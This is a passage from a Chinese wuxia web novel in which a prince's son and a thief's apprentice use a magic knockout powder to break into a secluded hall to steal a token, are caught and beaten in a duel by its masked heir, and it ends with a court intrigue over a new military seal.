轩辕夏跟着颔首,“是,邱姐是垦岭来的。”
田雨萝审了审,邱怡双眸楚楚,哪像泼辣豪情的垦岭人,“这般的怜情?”
邱怡翻了田雨萝一眼,面色却没什么变化。
田雨萝凑近嗅了嗅,邱怡则下意识向后缩了缩。
“你身上的味道,不像是番邦女子。”
邱怡回道,“祖上是口里人,迁居到的垦岭。”
田雨萝又盯着邱怡瞧了许久,样貌虽不出众,一层轻薄的绿纱衣罩过素白的里衫,显得她身子尤其轻盈,长发如瀑,轻垂下落,一动一静都极为清新。“垦岭女子向来衣着鲜亮,从未有你这样素净的。”
轩辕夏顿悟,田姑娘这是在吃醋。
好言道,“说什么呢,邱姐她不是那种人。快进城去吧,五哥还在等我们呢。”
田雨萝拦手,又度向邱怡,“姑娘可知,我们是要去哪里?又是要做些什么去?引得阿夏定要带姑娘去不可?”
“小五托我制了些药,说在白陵用得上。”邱怡回道。
“小五?”田雨萝疑了疑,原来邱怡还不知他是轩辕夏,略喜道,“你不知道的好,姑娘的药可制好了?”
邱怡回道,“制好了。”
田雨萝一只柔荑小掌摊到邱怡面前,“白陵路远,我们所行又是凶险之事,人多口杂,怎好令姑娘牵涉其中?药既制好,交予我便是。”
轩辕夏虽知田雨萝驱赶邱怡并非仅因怕牵连到她,但所言不无道理,劝道,“邱姐,田姑娘所言有理,此前是弟,是我忽略了。”轩辕夏犹豫片刻,决定还是不要在自己心心念的田姑娘面前与邱怡言辞亲近了。
邱怡心中不悦,顿了顿,掏出三小只药包置于田雨萝掌心。
转头向轩辕夏道,“小五,这两只白包是闭灵镇魂散,遇水即发,只需将其撒在雪面上,即会生效,方圆半里,一切活物都将昏迷。这只红包里有两粒凝息丸,你算好时间服下,半个时辰后,药效一过,你必速速撤离。”
轩辕夏凝了凝折成虎头状的药包,折处整齐,封口严丝,娘亲常夸邱怡做事认真严谨、一丝不苟,不想连如此细节都无例外。
还未来及说什么,又听邱怡道,“我还要去采办些梁夫人所用之药,事后,你我在十里铺汇合,再回小次山去向梁掌门复命。”
轩辕夏顿默,邱怡办事细心周全。在清农时,她常带自己出城玩耍,或捉鱼,或猎鸟,都是将前后时间计划得极为精准,即使约人在城外较武,邱怡也是千叮万嘱双方一定要点到为止,不可见伤,待二人回到清农医堂,所有人都以为他们是去城外骑了一圈马回来。
有这样一位“军师”为自己左右出谋,前后圆场,他不仅玩得尽兴,还从未再被娘亲说训。“好,邱姐,凤临城内有家朱阳医馆,那里的人大多认识我娘,你若遇药材寻不到,就可去那里问他们掌柜要。”
“好,你我十里铺见。”邱怡告别道。
送走邱怡后,田雨萝洋洋道,“我们进城去吧。”
“田姑娘,我们去买些糕点,带去见我哥,就说是你买的。”轩辕夏提议道。
田雨萝嘴角勾起一抹耐人寻味的笑,第一次去见轩辕夏的家中人。
凤临城绮丽依旧,海陆之饶,珍异所聚,轩辕夏寻了间芙蓉糕坊,命伙计装了两盒上好糕点,坊里伙计见是朱阳王府的世子,即去换了两方鸾鸟纹样的梨木盒,装点起。
“见你哥哥,只这两盒点心吗?”田雨萝心鼓鼓道。
轩辕夏洒意一笑,“他什么东西没见过,心意到了就行。”
“我们到凤来宫,会不会见到圣上?不然,再备两盒吧?”田雨萝紧张问道。
轩辕夏摇手,“我们去江王府上,是见不到伯伯的。”
田雨萝眼中闪过一丝暗淡,随着轩辕夏穿过络绎热闹的街道,行至江王府邸。
“见过世子爷。”门口一守卫行礼道。
轩辕夏跃地下马,缰绳一递,问道,“阿晏哥可在?”
“在,在。小的这就进去通传。”守卫说道。
田雨萝随轩辕夏等了半晌,里面出来一位自称是黄文的,接过轩辕夏手中梨花木盒,将二人引到厅内,说道,“世子爷,殿下说他快完事了。让您先在此喝口茶歇会儿。”
田雨萝不由顾盼起屋内,遑论茶几椅凳,亦或瓶镜摆件,无一不是精心布置过的,甚至连那白玉茶碗的外沿,都裹着圈金刻黄鹂。按理金玉如此叠到一处,多显奢靡,但那一双黄鹂鸟神态实在逼真,连嘴椽和鸟眼处都精致栩栩。
厅中的各处角落,更摆放着许多精美的珐琅花瓶,瓶中插满各式奇花与奇珍,色泽鲜艳,香气扑鼻。
再看向梨木盒,横看
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竖看都觉太过朴简。
厅内不时传来群群高声女调,欢爱非常。田雨萝听着,腮内扑扑火腾,娇面见羞,“这是,你哥?”
轩辕夏不好意思道,“当没听到就行。”
“你哥哥他怎如此?”
轩辕夏紧忙捂住她嘴,透过手心,只觉田雨萝面烧如炉,嘘了一声,“你且放心,我不是这样的。”
一双粗枝大手盖住嘴口,田雨萝呼吸更促,脸红得烧到了耳根子,仿佛是自己做了什么不道德的事一般。讷讷地不再说话,只低着头用指头绞着衣角,盼着这一声声快快消失,盼着自己早早忘记这令人心里躁焦的人声。
轩辕夏视着田雨萝的羞嫩模样,一双羽睫眨地是那般不知所措,这冷艳娇人羞红脸时,格外不同,又格外可心。
过了好久,屏风后现出一高岸身形,衣带松垮,发丝更是凌散,他望着厅内男子正凝着面前脸色红嫩的姑娘,招呼道,“阿夏,久等了。这位就是田姑娘吧?失迎,失迎。”余魅未褪的潮脸显起笑容,擦了擦头汗,整了整衣衫,双手重新系起衣带。
田雨萝扭脸望去,看那男子凹凸的胸肉半露半现,羞得再垂下了头。
“阿晏哥。”轩辕夏向那男子招呼道。
田雨萝垂眸瞧见那男子虚步摇行,脚都难落稳,又嗅他周身胭脂酒气,糜乐可见一斑。
“进展得如何了?”江王悠悠道。
待田雨萝再抬起头时,见那男子已正吃着轩辕夏为他捎来的小食,一身工整地依靠着象牙椅上的白毯,毯上裘毛密盛,拥得一身朱衣似火。
轩辕夏取出邱怡交给的仨药包,将近来去小次山之事以及邱怡提醒的两点注意说予江王。
江王听后,眉心皱了三分,从轩辕夏的讲述看来,这位邱怡姑娘,行事谨慎,又有制药之能,还是位姑娘,岂有不见之理?
“阿夏,为你制药的那姑娘呢?怎么未将她一同请来?”
忽地一问,轩辕夏只娓娓交代,城门处他和田雨萝与邱怡的谈话。
江王听后,又微微抚镇着眉心,轩辕夏这个憨小子,竟连区区两个女人都搞不定,气醋一个,气走一个。惋声向田雨萝说服道,“田姑娘,阿夏自小性子就直,认定的事就是他爹娘说破嘴,也是改不过来的。今日太阳倒是从西边出来,竟为你做了改变。
“那邱姑娘是她自己要走的。”田雨萝不以为然道。
江王不觉一嗤,“我知姑娘是素娘高徒,是寻物探器的行家。只是,那天作之合馆里面说大不大,说小也不小,主楼之外双翼连有东西二偏楼,其中布局谁都不甚清楚。我是担心,半个时辰,许不够你找到风云令的。”
“这与那邱姑娘有何关系?”田雨萝气声质问道。
江王抿茶,轻阖了几下眼皮,“邱姑娘,她懂得制凝息丸呀,她此刻若在这,为你二人多制出两颗凝息丸,不等于为你二人再争取出半个时辰来吗?”
“那我去将邱姐喊回来。”轩辕夏突发一声。
田雨萝恶瞟一眼,轩辕夏心头一惊,紧急改口道,“估计这会儿她已经走远了吧。”
田雨萝这才收起嗔色。
41. 却不料
江王搓着眉心,想田雨萝介意醋心已起,若二女俱在,即使轩辕夏与邱怡并无其他,去往白陵的路上,难免不再生出什么乱子。
半个时辰即便不够田雨萝找到风云令,但进去看一眼张之合是否在天作之合馆内,绝对是够了。
能不能找到风云令,就看田雨萝自己的造化了。
又好心道,“半个时辰倒也无妨,听闻陵侯在建造天作之合馆时留了一间密室,我猜应是在张少主卧房之内。据我所知,天作之合馆东西二楼皆是卧房,只是不知哪边是张天作的,哪边是张之合的。田姑娘,你进入后直奔东西二楼探查机关密道,一旦寻得,风云令便是你囊中之物了。”
江王重新寻思起邱怡的建议,又严声叮嘱道,“记住,若真在天作之合馆里见到了张之合,你们必速速离开,断不可多逗留。”
“为何要速速离开?”轩辕夏茫然问道。
六皇子身边的眼线虽是江王派去的,但听得邱怡建言,难免不令江王多心,这会不会是他那狡诈的六弟故意设下圈套。即使是由轩辕夏出面,但也合该小心为上。
毕竟,江王记忆中的张之合,不仅好武,更是斗狠,较之性子相对温润的双生哥哥张天作,简直是容不得一丝侵犯的。“邱姑娘提醒的极是,张之合闭关之事又处处透着玄乎,我都险些大意了。阿夏,你且记得,切莫轻易招惹张之合,尤其是在天作之合馆里。”
轩辕夏不以为意道,“我若是招惹了呢?”
江王无奈望着九年前因病留在朱阳王府,缺席那场暴打的幼弟,玩笑道,“你先去向父皇请一道免死金牌,再招惹白陵少主试试。”
田雨萝噗嗤一笑。
六皇子随之扶额而笑,“我已命人备下酒菜,我们边吃边聊。”
田雨萝皮笑肉不笑地敷衍应着,暗叹江王无论外皮还是内里,与轩辕夏当真是云泥天壤。
出屋片当,轩辕夏假借走进江王身旁,在其耳边轻声撒娇道,“阿晏哥,田姑娘今日见到邱姑娘,心情不大好,等下你帮我哄哄她。”
饭席间,江王屏退左右,重新与二人推演起去探天作之合馆的情形,重新将行动时辰及行走路线,事无巨细的交代一番。
完后,命人赶制的蚕棉鞋底业已送来。
月光透过树梢,情绵声色,至子夜方停。听得田雨萝那是如火浇心,意乱得厉害。
天色微明,田雨萝便按照六皇子的叮嘱乔成男装,叫轩辕夏备好马匹,二人牵着二马离了江王府,翻身上马,鞭子一挥,立刻响起一阵清脆的啼声。
那啼声横穿凤临城,渐渐远去。
停下歇脚时,田雨萝又想起那王府中久不绝耳的女子欢声,向正喂着马的轩辕夏怒问道,“你哥怎那般不正经?”
“他怎不正经了?”轩辕夏说着,坏念一闪,紧张道,“他是对你做了什么吗?”
田雨萝气羞道,“他敢?要他瞧瞧本姑娘的厉害!”接而又不忿怨言道,“什么王府,分明就是个有进无出的狼窝。”
轩辕夏不让道,“又不是所有王府都是那样,我们朱阳王府就不是。”
田雨萝咻咻嘀咕道,“都说皇族多情种,怎结出个苦瓜来?”
轩辕夏眉眼色起,“喂喂喂!说什么呢?我不在这好好的吗?”
田雨萝嗔瞟一眼,轩辕夏又道,“我爹对我娘就是举案齐眉,与她恩爱得紧。至于我,虽算不得什么情种,但与我哥,绝对是大大的不同。”
田雨萝嘟嘴仰眸,她早将自己的心思许给了轩辕夏,只是她那盗圣的师承,却是横在二人之间的一块巨石。
轩辕夏忽捧起田雨萝双颊,轻声道,“田姑娘,昨日阿晏哥也悄悄同我讲了,说你未曾深入过江湖,不妨将你那师门早早弃了吧。”
田雨萝觉在轩辕夏这副大手间,自己的脸像团小小的火球,“师父待我好,她一人孤苦,我不忍背她而去。”
“我不是叫你背弃你师父,我也愿像你一样孝敬她,只是这样的事,这回是最后一次好不好?”
田雨萝无奈道,“我想想吧。”
田雨萝心起波澜,她从小便想羡慕江湖侠客的生活,家中不许,幼时一位妇人路过家门,欲收她为徒。她娘不悦,那妇人离去后,她偷偷跟了去,一路跟随到郊外,到沙土地后,那妇人没了行踪。忽嗅到有一缕香与那妇人身上的香味相同,就循着香踪,在一片林里找见那妇人。
那妇人问她是如何找来的,她便说是闻到了妇人身上的香味。妇人见她嗅觉灵敏异常,很是开心,说要教她一门可招蜂引蝶的戏法,问她要不要学。
田雨萝当时便跪在地上喊了三声师父,后来她才知,那妇人名叫素娘,是位很有名的义盗。虽是盗贼,但素娘所得的银两,大多都会接济妇孺,尤其是对一些孤儿寡母,素娘似乎格外共情。她愿一直跟随素娘,并非贪好金银财帛,仅是希望与素娘一起行善举。
有次,素娘托她上凤临,去江王府找一位叫醉清风的前辈。
她入江王府后,与在府上做客的轩辕夏一见生情。本以为自己遇见了如意郎君,情生两许时,她告知轩辕夏,自己是素娘之徒——紫蝴蝶。
轩辕夏先是惊诧,后是惋惜。她询问细由,才知这位轩辕夏是朱阳王世子,又是家中独子,如此府第,断不可能与盗贼为伍,又何谈结为夫妻。
朱阳王得知二人之事后,大为不悦,但朱阳王妃架不住轩辕夏央求,夫妇二人商议后,决定先行将田雨萝送去江心学宫,若她可洗心革面,再为二人做长久考虑。
田雨萝心中甚喜,毕竟师父对这机关术也是只懂得三分皮毛。入了开物门才知,朱阳王已交代开物门座师,加重自己的课业学习,之所以送她去学机关术,无非是希望她不再得空去做那些行盗的行当。
二人的感情,却一直在这般拉扯中愈演愈浓。本去年年尾就该从江心学宫授衣结业,但她很是清楚,一旦离开江心学宫,便不得不在轩辕夏与她的师父间,做出抉择。
心念师父无儿无女,孑然一身,若自己为朱阳王府的荣华富贵离开师父,她老人家该怎么看待自己?可男大当婚,女大当嫁,她很是清楚,如果再悬而不决,恐怕朱阳王夫妇多数会为独子定下一门更为门当户对的亲事,那么,二人真再无任何
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可能了。
北上去白陵的路,面对满山无尽的雪景雪色,田雨萝无甚心思观赏。轩辕夏亦看出田雨萝忧心重重,放了下速,二人慢马缓行。
终才在九月二十七日晚间到了白陵城外,二人将马藏在城外一片雪林中,换上夜行衣和特制的蚕棉底鞋。田雨萝还特为轩辕夏准备了一面罩,轩辕夏只顿了顿,接过后将其放入怀间。田雨萝只得自己戴上一面紫色蝶翼图式的面罩。二人按着江王部署,攀上墨白城高高的城墙,城内房顶上,冬雪轻飘,片片银屑间,一黑一紫两道飞影,向着后山而去。
天作之合馆西墙头上立着两身人影,四处高墙环围的苑内竟有如世外,只东西两楼各有一房亮灯,雪夜静谧,除东屋窗间时有人影挪移,院内毫无人迹,只有如蒲公英般飘飘悠悠落入小院的雪花。
适才在张司宇流云居外散落闭灵镇魂散时,才不过片隙功夫,就见一只黄鼠狼晕入雪层,幸而田雨萝手快,将凝息丸塞进了口,又向轩辕夏口中送了一粒,二人才未中迷药。轩辕夏惊异,若是再慢上半拍,当张司宇醒来时,看到在他屋外昏迷的二人,该如何解释为何身着夜行衣倒在此处?
提前服下凝息丸的二人知时间更加紧迫,月亮已升过墙头,才见一壮身男子出东房门,穿过院落,行入西楼,片刻后,西楼房内灯光尽灭,壮身男子回到自己所在的东房,闭灯安寝。
墙头上的影轻身落入院内,撒下闭灵镇魂散,开始恣意探索。
紫衣人影率先潜入东侧楼房找寻,另一人留于院内,察觉着周围的动静。
一轮正月已挂天心,如水的清光洒满这所遗世独立的小院,层叠的屋瓦被雪层蒙住,瓦楞和乌檐下凝出参差的小冰柱。
半晌后,紫衣人空手而出,对着另一人影道,“不在。”
轩辕夏拧了拧眉,注视着西楼的窗口,扭向紫衣人,“张少主可在屋内?”
紫衣人微微晃头,“只有一个男的,应该就是楚英了。”
说罢,紫衣人径朝着西楼房去,轻开房门,与东楼一样,门里均未上锁,不同在于这屋内一股子暗幽刺鼻。
紫衣人轻步入内,这间房内氛围隐秘非常。
与适才那间放置许多名琴名剑的卧房比起,这间稀装简饰,比张天作在江心学宫的屋舍都要素净几分。硬说是张之合闺房,却不见花草绣屏,更不见女儿家闺中必见的粉缎红绸。
田雨萝闪念,张天作与陈雅安在江心学宫从不用香包香料,这屋,应便是白陵少主的房间。
田雨萝脑海中闪过无数道她于道途听说的关于张之合的传闻。
有传言说她气胜天仙,风华绝代;有传言说她修为奇高,剑在其手有游龙之姿;有传言说,她已数年未曾露面,恐已遇不测;有传言说,她曾被高手伏击,身受重伤,闭关是为养伤。
无论何种传言与猜测,如今这处神秘居所和神秘的馆主,尽已入了沉沉梦境,全在田雨萝掌控之下。
随着一身紫衣的人影在屋内来去自如探索,天作之合馆的神秘面纱正被她轻轻地掀动着,关于张之合的种种传说谜团,似乎已在她咫尺之遥。
42. 天作之合馆
张之合的屋内与张天作所居的东房,却是两极化明。
张天作的屋内,且不提罕见的字画奇石,单是珍贵的名剑名琴,不下十数。而张之合卧房虽干净整洁、不见贵物,如隐居之所,如不是外面霜天寒地,室内却暖得出奇,床上又有着摊被影人形,断瞧不出这屋内半点人居的痕迹。
可屋内却处处透着淡淡的隐士之志,奇幽清谧,清隐素雅,这样一间屋,说是给男人住的也不生奇。
田雨萝心疑,这间屋的主人似乎并不如寻常女子一般有着爱美爱打扮的心思。
搜翻起抽屉柜门,当打开珠宝饰盒时,看到耀得满目的精钗珍品,她才踏下心认定这是女子闺房。令她一度手痒想摸几件走,可又担心被觉出屋内有人来过,才死了心思。
动静仍极为轻悄,生怕惊动屋内被迷睡着的那位,有传说其修为高深的白陵少主。
想来风云令不是常物,若非由张之合随身携带,定是收藏得极为隐秘。每个隔门置物处,亦格外留心是否设有机关暗格,仍遍寻不得,凭着敏锐的直觉她将目光锁定在张之合床头一柜,认定柜内所放之物当不寻常。
只是那柜子离张之合的卧榻过近,紫衣人影的面罩孔中闪出犹豫的目光,观察着在床上由被子蒙住脸部的白陵少主张之合,呼吸轻得极难察觉。
耳闻张之合武学天资奇高,从她均匀的呼吸声断出,中了闭灵镇魂散的她已然熟睡,自己若极轻步去,应不会惊醒她。
田雨萝对着被面盖脸的张之合,心想:可惜了,我还想看看白陵少主是不是真如传言一般风华绝代!
想着风云令得手后的可观赏金不知又能帮助多少孤寡之人,紫衣人收起心悸,理了理神,蹑脚朝床头柜子去了。小心俯身柜前,柜门挂着一铜锁,田雨萝打量一番,此锁上暗刻的龙纹,其姿活灵,双目生威,似是在训斥自己竟敢入禁地偷盗。
对着那双龙睛,若今日之举被人发现,且不提偷盗本已是不光彩之举,单说擅入天作之合馆一事,张之合定不会善罢甘休,想起江王忧心叮嘱“切莫轻易招惹张之合”,田雨萝不由一阵战栗。
侧目看了眼床上仍睡得一动不动的张之合,屏息静气,掏出一根细签,不会儿功夫就打开了铜锁,她轻开柜门,却见其内只有一石盒,盒上写着,“回龙功”,“张家剑法”七个大字。
此盒内既放着张家的家传武学,定是要紧之物,许风云令也在盒内,即使未寻得风云令,将这盒内的武功秘籍送予轩辕夏也是极好。
田雨萝一阵欣喜,伸出手触盒在即,耳边猛然响起一声沉肃地沙咳。
她猛一抬头,后脊生凉。
才自己开锁的片刻功夫,张之合已半坐在床,幽静地如鬼魅,凝视着自己,不过咫尺距离,她竟未察觉到半分动静。
这张之合说来也是奇怪,睡觉时竟带着一副幽黑的面具,双目孔中,射出一双利剑般的寒光,视向田雨萝。
张之合未作声,出手抖出一道剑光,斜横在田雨萝身前,以示她不要再做越界之举。另只手俯身合上柜门,重新挂好龙纹铜锁。
田雨萝怖惊之余,心中不免自疑,白陵少主不是中了闭灵镇魂散吗?这才几分功夫就醒了?
趁着张之合落锁的刹那,田雨萝提步后翻起身,飞步出门。时辰未到,轩辕夏就见一团紫影出屋,问道,“可否得手?”,田雨萝只拉过自己,嘴上直催,“快撤!”,直奔墙头而去。
却见墙上早已飘落一袭白影,手持一柄亮铁素剑,面遮着如同夜幕一般的面具,面具孔后却闪着一双冷冷的光色,审视着墙下的两位来客。
张之合轻如飘魂,轩辕夏未见她由屋内出来且身着寻常素衫,又戴着面具,一时以为她也是与同戴面罩的田雨萝一样,是来夜探天作之合馆的,对着她问道,“阁下是何人?”
“她就是白陵少主,快跑。”田雨萝在一旁拉着轩辕夏的袖子喘声道。
轩辕夏听后,见着张之合带剑而来,取出腰间弯刀镰月,左手护右手,提目对视着墙头上的白衣身影。
时隔数载,重新听到有人唤自己为白陵少主,面具一双幽幽孔中,瞬现出炯炯神气,不吭声地凝望着二人。似是在出神长考,又闪出愠怒之意,如审判的天神般提剑向二人,压声问道,“尔等可知吾天作之合馆不迎外客之规?”
咽喉似有肿症,引得她出言沙哑,若只闻其声,难以想象此低沉逼问的沙哑话声出自一位不过二十岁的年轻姑娘之口。
“阁下就是白陵少主?”轩辕夏爽声问道。
这声虽低,比对起张之合的声音却透着爽朗的青春气息。
隔世独立的天作之合馆招入了“外客”,还是“外贼”,若是传了出,必将大失颜面。
难怪张之合一直逼目视向二人,面具孔内透出的寒气恨不得击穿墙下仰面的二人,怒得张之合不再开口作答,只手中剑光一闪,如白蛇横走,雪影间一道亮白的剑光,立在张之合身后右侧上方,剑尖对月。
轩辕夏识出,眼前白衫女子虽黑罩遮面,但用的正是张天作此前使出的“墨白问日”,张家唯张之合一女习武,来人必是那位,神风灵隐、风华绝代的白陵少主无疑。
轩辕夏面色轻松地打趣道,“在自己家怎还这般遮遮掩掩?不知道的,还以为你是小飞贼哩。”
张之合只继续将剑尖对着二人,未再开口。
见张之合剑指自己,颇具挑战之意,轩辕夏当下大喜,想着张之合是细腰身弱的女子,又温声提醒道,“刀剑无眼,白陵少主,你要当心才是。”
轩辕夏手持弯刀,飞身扑向张之合,张之合轻转双脚,素剑掠身,乌檐间的雪花纷纷飞落,来往三四回合,无论轩辕夏从何方进攻,她双脚均贴在墙头上出剑格挡。
轩辕夏心生惊奇,墙头窄细,根本施展不开,他本想将张之合逼到院外开阔处好好与她大展身手较量一番,可无论怎样出刀,张之合都在墙头缥缈灵动,不下墙去。
“我竟忘了,你在
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闭关,自然不会出天作之合馆一步。”轩辕夏恍然说道,刀尖对向下墙,“走,我们去院内打吧。”
说着便纵身跃至一进前院内,墙头的白影女子随他飘落而下,声轻如绵针落地,再瞧那落地之处,定睛细看才能见浅浅一印。
轩辕夏心呼,果然不可轻敌。提着手中雪亮的弯刀横向张之合去,近她身时,只剑尖轻轻一拨,轩辕夏却觉一股酸麻劲儿透过刀身传来,自己握刀的右手腕处发麻,惊叹眼前女子竟有这般气力。随后又蓄力劈出一刀,张之合侧身一闪,轻松躲过。
见张之合并无进击之意,轩辕夏略带怒气,刀随身转,一连刀法劈、砍、斩、削如闪电般袭去,可张之合虽只出剑招架,或用剑尖,或用剑页,可每次格挡都觉她手中的铁剑藏了万钧之势,震得自己手指和手腕酸麻。
对着只守不攻的张之合,轩辕夏又气又奋,不得不使出本家功夫,还借机激将道,“见好,这便是略胜白陵剑法的刀法。”语罢,便架出“松风亮翅”的刀势。
“你胜的是人,非张家剑法。”张之合谑道,其声虽仍沙哑,夹杂的粗愤傲气不言而喻。
见张之合终舍得挺剑出迎,轩辕夏横刀对去,张之合一斩一刺,如飞身龙蛇,与张天作对决百余招后,他对张家的剑路初有了解,又知张之合气势强劲,使尽全力出刀左砍右劈,迎着张之合一道道翻闪的寒光而去。
站在一旁的田雨萝看得更呆了,纵聚精会神,亦追不上刀击剑刺的招数。
眼前只剩两团寒光似的身影,一如霓光盘树,一如惊鸿银龙,靠近时击迸如铁水出花,分开时散落如鹅雪坠空。刀剑碰击格挡的“当当锵锵”声,也震得她一度担心,院内如此动静,若是惊动其他人来,可该如何是好?
见着眼前飘灵如风的张之合,暗赞她的轻功应也不在自己之下,以她显露出的身手,田雨萝都料定得到,她遇见过的那些所谓的江湖大侠,在张之合面前,根本不堪一击。什么遭遇不测,什么身受重伤,这张之合分明是在天作之合馆内潜心练武。
龙飞凤舞,一来一往,对了近一炷香的时间。张之合留意到轩辕夏出刀虽有章法,但多是在应对,若自己再将连招变化提速,定将打得他措手不及。
轩辕夏见自己用尽气力,使遍刀法,察不到她的一丝破绽,又碍于张之合出剑之强力,竟未能近得她身,还将自己手部震得酸疼,凝息丸效时迫近,心也跟着急躁起来。
既已探知张之合仍在天作之合馆,便不虚此行。再缠斗下去,更是难办,想着该当亮出绝招打张之合一个措手不及,求得尽快脱身才是。于是他大力连砍数刀,趁张之合格挡之际,突然向她腰间横劈而去,待张之合提剑拦迎时,又俯身一闪,双手握刀直向她下盘脚踝处。
张之合立剑于地,腾身躲闪,却不知轩辕夏等的却是此刻,他拔地高跃,虚握的右手突然捞起一道白光,迎着张之合面门而去。
刀风掠,只见面具下透出的两只眸子,登时悚得惊亮。
43. 少主临凡
轩辕夏所用的,是醒风刀法的秘密杀招“天地不容”,快出三刀,虚中藏实,他用这招只为脱身,本准备第三刀劈下煞煞张之合的威风点到即止,就带着田雨萝离开,并不准备伤到张之合。
田雨萝在一旁看到变化莫测的三刀,心也是提到嗓口,她虽常于夜间窜行,但从未出手伤过人,也未真见过江湖厮杀的场景,不禁为刀刃下的张之合捏出冷汗。
张之合忽地挥动臂膀,手中素剑闪带出一道半圆弧光,她再次催动回龙功于剑刃之上,“嚓”!一声响过,张之合凌身一跃,空灵静落在院内正门前。
随着半截刀身落地的声音,轩辕夏才注意到,自己手中的镰月只剩半截了。再转向适才二人比武之处,另一半刀身冷冷躺在一团乱糟糟的脚印间。
张之合衣袖一拂,将断去的半截刀身应势收回手中,对着刀身鸾鸟样纹端视思索。心想,他果然是凤门的人。
出手本留有分寸,未想对方却亮出杀招,惊下也未再考虑应对,只转动蓄满回龙功之力的剑锋出迎将来刀斩断。
田雨萝知自己入屋后,无论翻箱倒柜之举,还是撬锁盗书之行早被张之合了然,今日闯入天作之合馆又犯了她的大忌,定不会轻饶自己。
在张之合长思之际,早用暗藏在袖中的梅花镖偷偷对准张之合,梅镖快出,张之合未及闪躲,扫视她一身窈窕白衣找寻伤处,定睛却见一支小镖正停于张之合左手两指之间。
张之合抬手将梅花镖器举在轩辕夏眼前,冷目视向在天作之合馆内再三冒犯的他,沙声道,“足下是君子,暗箭之行,有损声名。”
轩辕夏惊呆地望向手中的半截刀,与张天作比武,难舍难分,也是凭借天生的神力侥幸平手。张之合虽是冷声,但“君子”之言又使得他心头回暖,问道,“少主认得我?”
张之合不予作答,将梅花镖反掷向田雨萝,田雨萝未看清飞镖行路,只觉发髻突地被推入了什么。探手摸去,正是张之合掷出的镖,惊得一身虚汗。
一番打斗后张之合身上的暗香味道虽淡得几乎闻不得,却也嗅不出一丝汗味,一身缥缈之姿有如仙灵临凡,看着适才全力拼尽满头是汗的轩辕夏,高下立判。
私闯天作之合馆犯了张之合的大忌,本想着可以武力压制,她也奈何自己不得。可眼前女子一身莫测的绝技,招招剑式含藏的千钧力道,更是令自己望尘莫及。
轩辕夏无比自责自己未听劝诫,一时鲁莽招惹上张之合,将自己和同行的田雨萝带入绝地,慨然道,“是我输了,要杀要剐,随你处置。今日来此是我一人主意,与那位姑娘无关,还请不要牵连无辜。”
面具下的张之合,冷光一闪,忍着喉咙胀痛,操着沙哑的嗓音质问道,“此女胆敢出现在天作之合馆,何谈无辜?本少主闭关多年,今日才知,凤门的子弟如今也行起了盗事。盗行之举,若为他知,难保不损及尔等身名。尔出名门,望爱惜贵羽才是。”
而后又凝视着二人,用着相同的声调冷冷道,“念你二人偷盗未遂,看在令伯面上,今日之犯,本少主暂既不咎。”说着,举起手中的半截刀,半怒半威道,“若尔等胆敢提及今夜在天作之合馆内所见一石一木,一人一物,我便将这半截刀呈至圣上处,看何人保得住你们。”
天作之合馆的正主点出自己的来处,又有维护之意,轩辕夏一阵余惊后,不胜感激,温心提醒道,“江湖上正有人觊觎风云令,我知少主修为高深,不将他们放在眼里,可难免再有宵小铤而走险,少主你要留心才是。”
虽未露谴责之意,但从张之合面具孔透现的目色可以看出,她陷入了忧思,顿了许久,“回去告诉令兄,自今夜起,未经本少主允准,擅入天作之合馆者,遑论皇子还是宵小,概杀毋论!”转又直勾勾视向田雨萝。
她话间透着一股子难犯难近的态势,虽隔着面具,田雨萝也不难猜出,此刻面具后的,是一副威严面孔。却听张之合语重心长道,“姑娘既与凤门生了情意,或成休戚。盗行之举非是正途,还请长久自重。”
轩辕夏与田雨萝二人退走后,张之合掌风一送,适才搏斗之处瞬时飞雪四凌。细雪越下越密,为天作之合馆重新银裹起一层厚衣。
上山腰流云居内,张司宇仍沉沉睡着。
黑幽面具的孔中,漠色深凝,“二哥,你投靠朝廷,本与我一般,都是该死之人。可你已中闭灵镇魂散,如此杀你,便是不武。念你冲云一战护卫有功,我暂且留你性命。”
一道白影,幽然离去。
轩辕夏与田雨萝离开后,南出白陵城,一路心神难静。
张之合虽自称闭关,但对天作之合馆外,乃至白陵外诸事,却是了如指掌明悉。面具下的人,清冷傲世、凛不可犯,无论气势还是声色,俱令人惊然,比起她宽和温厚的孪生哥哥张天作,更为老辣。
田雨萝内心更是波澜,张之合提点的是,轩辕夏怎可讨个飞贼做老婆?连这个少问世事的世外人,都在出言相劝。
十月初二,一男子身披深灰裘毛披风,牵着一匹火红色骏马,造访墨白城。
半山处的流云居内,张司宇舞过枪后,舌津干渴,正捧着一杯热茶,但看六皇子再来拜访,不知他这回卖的又是什么药。
六皇子搓了搓手,凑到火炉旁,说道,“墨白山这么冷,怎你这流云居连地龙都没?”
张司宇递出一手暖,“暖生闲欲,寒明心志。”
“什么样的心志?”灰裘男子宽目一垂,不以为意道。
张司宇嘴角微提,“阿鸣,这话不是我说的。云冲叔祖当年落成此居时,便作此示训。那年伯父送我到极遥营里历练时,少主也跟我说过同样的话。”话间,回忆起当年出城后,陈雅安骑着白马战神出城相送,嘴中冷冷道出这句话时的场景。
“我不明白,你一直跟在陵侯身边,要说历练,都城多的是行辕给你历练,为何要将你发配到极遥那样狗都不去的苦地方?搞得像是要将你流放似的。”六皇子问道。
张司宇缓缓阖目,顿顿道,“阿鸣,你知我苦。当年出质凤临若不是你将我引荐至太子门下,而后又赠了我破魂。我如今,过的还是连猪狗都不如。”
六皇子挑拨道,“可惜,你纵手握着白陵大权,没有那枚风云令,终是有实无名。”
“墨白城近日常有盗贼出没,我已说过,胆敢觊觎我白陵风云令者,死。不想,你也对它有兴趣呀?”张司宇胁声道。
六皇子不仅门儿清江王的计划,还知道,江王像跳梁小丑一样,失算了。毕竟这一切,都是他捕风捉影后,推出的一场剧。
“我也是才发现的,我那夏弟这几日竟与素娘的徒儿一同出现在了白陵,怎么?你不是觉这事和我有关吧?”
张司宇不以为然道,“阿夏单纯,亦被人左右,即使看到他和盗圣的徒儿走在一处,我也不会将此事牵扯到你的。”
六皇子疑道,“这么信我?”
张司宇信若回道,“素娘一直生活在江邑,江邑谁看我最不顺意?这白陵又是哪个江邑人看我张司宇最不顺意?我还不知吗?”
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六皇子虚惊一场,“司宇,有人命我来送你一个比风云令更有趣的玩意儿。”
张司宇接过六皇子递来的纸张,展开后见图上画有一令,外状轮廓与风云令相差无二,只是那令上之纹确是一栩栩生威的云龙形样。
六皇子挑眼,期待张司宇给予一个肯定的回复。“怎样?这银龙令,你可还满意?”
“银龙令?”张司宇双眼神情复杂。
六皇子侃侃道,“不错,上面已知白陵兵符一事。他说,如果你能笼络到白陵军中势力,他便下旨以此银龙令作新的白陵兵符,助你登大位。”
